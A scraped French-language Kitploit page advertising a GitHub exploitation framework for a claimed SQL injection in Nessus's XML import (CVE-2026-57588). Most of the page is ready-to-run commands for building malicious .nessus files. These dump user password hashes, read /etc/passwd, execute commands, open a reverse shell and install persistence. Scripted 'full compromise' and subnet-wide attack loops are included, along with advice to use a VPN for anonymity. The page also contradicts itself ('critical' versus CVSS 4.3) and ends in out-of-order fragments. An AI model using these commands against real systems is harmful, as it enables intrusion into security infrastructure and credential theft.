Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC — Preuve de concept pour CVE-2026-57588 - injection SQL dans l'import XML de Nessus 10.12.0. Génère des fichiers .nessus malveillants pour énumérer les bases de données, exfiltrer des identifiants et tester l'injection aveugle basée sur le temps. Pour une recherche en sécurité autorisée. Auteur : Sudeepa Wanigarathna. Corrigé dans la version 10.12.1. | Kitploit
Outils/GitHubGitHub/cerberusmrxi/cve-2026-57588-nessus-xml-import-sql-injection-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesPost-ExploitationTests d'IntrusionCommandement et ContrôleRed Teaming

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Sécurité des Bases de Données
GitHubcerberusmrxi/cve-2026-57588-nessus-xml-import-sql-injection-poc

CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

Voir le dépôt
1il y a 1 moisPas encore vérifié

À propos

Preuve de concept pour CVE-2026-57588 - injection SQL dans l'import XML de Nessus 10.12.0. Génère des fichiers .nessus malveillants pour énumérer les bases de données, exfiltrer des identifiants et tester l'injection aveugle basée sur le temps. Pour une recherche en sécurité autorisée. Auteur : Sudeepa Wanigarathna. Corrigé dans la version 10.12.1.

Partager

🛡️ CVE-2026-57588 - Framework d'exploitation par injection SQL Nessus

Security Research CVE Version Python License


📋 Table des matières

  • Présentation
  • Détails de la vulnérabilité
  • Fonctionnalités
  • Installation
  • Démarrage rapide
  • Exemples d'utilisation
  • Types de charges utiles
  • Scénarios avancés
  • Rapports
  • Dépannage
  • Considérations de sécurité
  • Licence

🔍 Présentation

CVE-2026-57588 est une vulnérabilité critique d'injection SQL découverte dans Tenable Nessus versions 10.12.0 et antérieures. La vulnérabilité réside dans le mécanisme d'analyse XML lors de l'importation des fichiers de résultats de scan .nessus, permettant aux utilisateurs authentifiés disposant de privilèges d'importation d'exécuter des requêtes SQL arbitraires contre la base de données PostgreSQL backend.


⚠️ Détails de la vulnérabilité

🔬 Détails techniques

La vulnérabilité existe en raison d'une désinfection insuffisante des valeurs des balises XML avant leur incorporation dans les requêtes SQL lors du processus d'importation. Un acteur malveillant peut concevoir un fichier .nessus contenant des charges utiles d'injection SQL spécialement élaborées dans des balises XML telles que :

  • hostname
  • fqdn
  • os
  • system-type
  • mac-address
  • netbios-name

Lorsqu'un utilisateur privilégié importe le fichier malveillant, les valeurs non désinfectées sont exécutées contre le backend PostgreSQL, permettant :

  • Énumération de la base de données
  • Exfiltration de données
  • Exécution de commandes
  • Accès au système de fichiers
  • Installation de persistance

✨ Fonctionnalités

Cliquez pour déplier la liste des fonctionnalités

🎯 Gestion des charges utiles

  • 13+ types de charges utiles catégorisés par objectif
  • Génération de charges utiles basée sur des modèles
  • Création et validation de charges utiles personnalisées
  • Validation des paramètres et vérification de la syntaxe
  • Vérification de la syntaxe SQL

🚀 Capacités d'exploitation

  • Exploitation multi-étapes avec exécution parallèle
  • Empreinte (fingerprinting) et énumération de la base de données
  • Exfiltration de données avec sélection personnalisée de tables/colonnes
  • Exécution de commandes sur le système cible
  • Accès et lecture du système de fichiers
  • Shell inversé (reverse shell) avec session interactive
  • Mécanismes d'installation de persistance
  • Injection SQL aveugle temporelle (time-based)
  • Injection SQL aveugle booléenne (boolean-based)
  • Injection SQL basée sur les erreurs (error-based)
  • Requêtes empilées (stacked queries) pour une exploitation avancée
  • Exfiltration DNS hors bande (out-of-band)

📊 Rapports et journalisation

  • Rapports HTML avec mise en forme professionnelle
  • Rapports Markdown pour la documentation
  • Rapports JSON pour l'automatisation
  • Rapports texte pour une consultation rapide
  • Rotation des journaux avec plusieurs niveaux

📦 Installation

🐍 Prérequis

  • Python 3.7 ou supérieur
  • pip (gestionnaire de paquets Python)
  • Git (optionnel, pour le clonage)

🔧 Installation rapide

root@kitploit:~
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

🐳 Installation Docker

root@kitploit:~
# Build the Docker image
docker build -t nessus-exploit .

# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum

📦 Installation du paquet

root@kitploit:~
# Install as a package
pip install -e .

# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum

🚀 Démarrage rapide

Utilisation de base

root@kitploit:~
# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum

# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus

# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

Aide des commandes

root@kitploit:~
# Show general help
python3 exploit.py --help

# Show generate command help
python3 exploit.py generate --help

# List all available payloads
python3 exploit.py list

💡 Exemples d'utilisation

1. Énumération de base

root@kitploit:~
python3 exploit.py generate -u https://test.com -p enum
Sortie attendue
root@kitploit:~
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s

============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================

2. Exploitation avancée multi-étapes

root@kitploit:~
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v

3. Exfiltration de données

root@kitploit:~
# Extract user credentials
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# Extract with custom columns
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status

4. Shell inversé

root@kitploit:~
# Start listener and generate exploit
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus

5. Exécution de commandes

root@kitploit:~
# Execute basic commands
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"

# Execute complex commands
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"

6. Lecture de fichiers

root@kitploit:~
# Read system files
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd

# Read application logs
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log

7. Injection aveugle temporelle

root@kitploit:~
# 5-second delay
python3 exploit.py generate -u https://test.com -p sleep -s 5

# 30-second delay for heavy tests
python3 exploit.py generate -u https://test.com -p sleep -s 30

8. Avec support proxy

root@kitploit:~
# HTTP proxy
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080

# HTTPS proxy with authentication
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080

9. Exécution parallèle

root@kitploit:~
# Run with 8 parallel jobs
python3 exploit.py generate -u https://test.com -p advanced --jobs 8

# With custom timeout and retries
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5

10. Modes verbeux et silencieux

root@kitploit:~
# Verbose mode (detailed output)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log

# Quiet mode (minimal output)
python3 exploit.py generate -u https://test.com -p advanced -q

📚 Types de charges utiles

Catégorie : FINGERPRINTING

Charge utileDescriptionParamètres
fingerprintEmpreinte de la base de donnéesAucun

Catégorie : UNION

Charge utileDescriptionParamètres
schema_dumpExtraire le schéma de la base de donnéesAucun
data_exfilExtraire les données d'une tabletable, columns

Catégorie : TIMING

Charge utileDescriptionParamètres
time_basedInjection aveugle temporelledelay
boolean_blindInjection aveugle booléennecondition,

Catégorie : FILE_ACCESS

Charge utileDescriptionParamètres
file_readLire les fichiers systèmepath, offset, length

Catégorie : COMMAND_EXEC

Charge utileDescriptionParamètres
command_execExécuter des commandes systèmecommand

Catégorie : REVERSE_SHELL

Charge utileDescriptionParamètres
reverse_shellÉtablir un shell inverséhost, port

Catégorie : PERSISTENCE

Charge utileDescriptionParamètres
persistenceInstaller la persistanceAucun

Catégorie : ERROR_BASED

Charge utileDescriptionParamètres
error_basedInjection basée sur les erreursquery

Catégorie : STACKED

Charge utileDescriptionParamètres
stacked_queriesRequêtes empiléesquery

Catégorie : OUT_OF_BAND

Charge utileDescriptionParamètres
oob_dnsExfiltration DNShost, data

🎯 Scénarios avancés

Scénario 1 : Flux de compromission complet

root@kitploit:~
# Step 1: Enumerate the database
python3 exploit.py generate -u https://test.com -p enum -v

# Step 2: Extract sensitive data
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# Step 3: Establish persistence
python3 exploit.py generate -u https://test.com -p persist

# Step 4: Set up reverse shell
python3 exploit.py generate -u https://test.com -p shell -lp 4444

Scénario 2 : Opérations furtives

root@kitploit:~
# Using proxy and quiet mode
python3 exploit.py generate -u https://test.com -p advanced \
    --proxy http://127.0.0.1:8080 \
    --no-ssl-verify \
    -q \
    -o stealth_scan.nessus

Scénario 3 : Pipeline de test automatisé

root@kitploit:~
#!/bin/bash
# auto_exploit.sh - Automated exploitation script

TARGET="https://test.com"
OUTPUT_DIR="./results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR

# Run all payloads
for payload in enum dump shell persist; do
    echo "[*] Running payload: $payload"
    python3 exploit.py generate -u $TARGET -p $payload -o "$OUTPUT_DIR/${payload}_scan.nessus" -q
done

# Generate comprehensive report
python3 exploit.py report -i "$OUTPUT_DIR" -o "$OUTPUT_DIR/final_report"

Scénario 4 : Évaluation de sécurité d'entreprise

root@kitploit:~
# Network-wide assessment
for target in $(nmap -p 8834 --open 192.168.1.0/24 | grep "Nessus" | awk '{print $5}'); do
    echo "[*] Testing: $target"
    python3 exploit.py generate -u "https://$target" -p advanced -o "scan_${target}.nessus" -q
done

Scénario 5 : Collecte de preuves

root@kitploit:~
# Collect comprehensive evidence
python3 exploit.py generate -u https://test.com -p advanced \
    --file /etc/hosts \
    --command "systemctl status nessusd" \
    --table nessus_users \
    --columns username,password_hash,email,last_login \
    -v \
    --log-file evidence.log

📊 Rapports

Formats de rapport disponibles

Générer des rapports

root@kitploit:~
# Generate all report formats
python3 exploit.py report -i results.json -o report

# Generate HTML report only
python3 exploit.py report -i results.json -o report.html --format html

# Generate Markdown report
python3 exploit.py report -i results.json -o report.md --format markdown

Contenu des rapports

  • Informations sur la cible
  • ID de session et type de charge utile
  • Statistiques d'exécution
  • Liste des fichiers générés
  • Hachages de fichiers pour l'intégrité
  • Journaux d'erreurs (le cas échéant)
  • Avertissements et avis de non-responsabilité

🔧 Dépannage

Problèmes courants et solutions

Problème 1 : Erreurs de connexion
root@kitploit:~
# Error: Connection refused
# Solution: Check if Nessus is running and port is accessible
python3 exploit.py generate -u https://test.com:8834 -p enum

# Error: SSL certificate verification failed
# Solution: Disable SSL verification
python3 exploit.py generate -u https://test.com -p enum --no-ssl-verify
Problème 2 : Erreurs de validation XML
root@kitploit:~
# Error: Invalid XML structure
# Solution: Disable XML validation
python3 exploit.py generate -u https://test.com -p enum --no-validate
Problème 3 : Erreurs de charge utile
root@kitploit:~
# Error: Missing required parameter
# Solution: Check payload requirements
python3 exploit.py validate -p command_exec

# Then provide required parameters
python3 exploit.py generate -u https://test.com -p exec --command "whoami"
Problème 4 : Permission refusée
root@kitploit:~
# Error: Cannot write files
# Solution: Check directory permissions
chmod 755 ./outputs/
python3 exploit.py generate -u https://test.com -p enum -o ./outputs/scan.nessus
Problème 5 : Problèmes de délai d'attente
root@kitploit:~
# Error: Operation timed out
# Solution: Increase timeout
python3 exploit.py generate -u https://test.com -p advanced --timeout 120

# Or use retries
python3 exploit.py generate -u https://test.com -p advanced --retries 5

🔐 Considérations de sécurité

⚠️ Avertissements importants

  1. Conformité légale : Utilisez uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test
  2. Protection des données : Manipulez les identifiants et données extraits avec une extrême prudence
  3. Environnement isolé : Testez toujours dans des environnements de laboratoire isolés
  4. Sauvegarde : Sauvegardez toujours les bases de données avant de tester
  5. Restauration : Restaurez les systèmes à leur état d'origine après les tests
  6. Documentation : Documentez toutes les activités de test pour la conformité

✅ Bonnes pratiques

  1. Utilisez des comptes de test dédiés
  2. Conservez des journaux détaillés de toutes les actions
  3. Utilisez un VPN/proxy pour l'anonymat lors des tests de systèmes tiers
  4. Suivez les directives de divulgation responsable
  5. Sensibilisez votre équipe à la vulnérabilité

📝 Licence

Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.


🤝 Contribution

Les contributions sont les bienvenues ! N'hésitez pas à soumettre une Pull Request.

Configuration de développement

root@kitploit:~
# Clone repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# Install development dependencies
pip install -r requirements-dev.txt

# Run tests
pytest

# Format code
black exploit.py

# Check linting
flake8 exploit.py

📞 Support

Documentation

  • Avis de sécurité officiel de Tenable
  • Entrée de la base de données CVE
  • Documentation Nessus

Contact

  • Auteur : Sudeepa Wanigarathna
  • E-mail : [email protected]
  • GitHub : CerberusMrXi

📄 Journal des modifications

Version 1.0.0 (2026-07-22)

Version initiale

  • ✅ Framework d'exploitation complet
  • ✅ 13 types de charges utiles catégorisés par objectif
  • ✅ Exploitation multi-étapes avec exécution parallèle
  • ✅ Validation XML et vérification du schéma
  • ✅ Formats de rapport multiples (HTML, Markdown, JSON, Text)
  • ✅ Hachage automatique des fichiers et vérification d'intégrité
  • ✅ Journalisation professionnelle avec rotation
  • ✅ Support proxy pour les opérations furtives
  • ✅ Shell inversé avec session interactive
  • ✅ Mécanismes de persistance
  • ✅ Exécution de commandes et lecture de fichiers
  • ✅ Injection aveugle temporelle et booléenne
  • ✅ Injection basée sur les erreurs et par requêtes empilées
  • ✅ Exfiltration DNS hors bande
  • ✅ Support Docker
  • ✅ Compatibilité multi-plateforme

⬆ Retour en haut


⚠️ AVERTISSEMENT : Cet outil est destiné UNIQUEMENT aux tests de sécurité ÉDUCATIFS et AUTORISÉS. Toute utilisation non autorisée est ILLÉGALE. L'auteur décline TOUTE RESPONSABILITÉ en cas d'utilisation abusive.

Télécharger l’outil
PropriétéValeur
Identifiant CVECVE-2026-57588
Type de vulnérabilitéInjection SQL
Produits concernésTenable Nessus 10.12.0 et antérieurs
Version corrigéeNessus 10.12.1 et ultérieures
Score CVSS4.3 (Moyen)
Vecteur d'attaqueRéseau
Complexité d'attaqueFaible
Privilèges requisAuthentifié (permissions d'importation)
Interaction utilisateurRequise (ingénierie sociale)
ImpactExfiltration de données, RCE
  • Statistiques d'exécution détaillées
  • Hachage de fichiers pour la vérification d'intégrité
  • 🛠️ Fonctionnalités avancées

    • Exécution parallèle avec travaux configurables
    • Support proxy pour les opérations furtives
    • Gestion des certificats SSL/TLS
    • Validation XML et vérification du schéma
    • Mode interactif pour l'exploitation en direct
    • Mécanisme de réessai pour la fiabilité
    • Configuration du délai d'attente (timeout) pour les connexions lentes

    📦 Outillage professionnel

    • Structure CLI basée sur des sous-commandes
    • Modes verbeux et silencieux
    • Sortie terminal en couleurs
    • Indicateurs de progression pour les tâches longues
    • Support Docker pour les tests conteneurisés
    • Compatibilité multi-plateforme (Linux, Windows, macOS)
    delay
    FormatDescriptionUtilisation
    HTMLRapport HTML professionnel avec mise en forme--format html
    MarkdownFormat Markdown pour la documentation--format markdown
    JSONJSON pour l'automatisation--format json
    TextTexte brut pour une consultation rapide--format text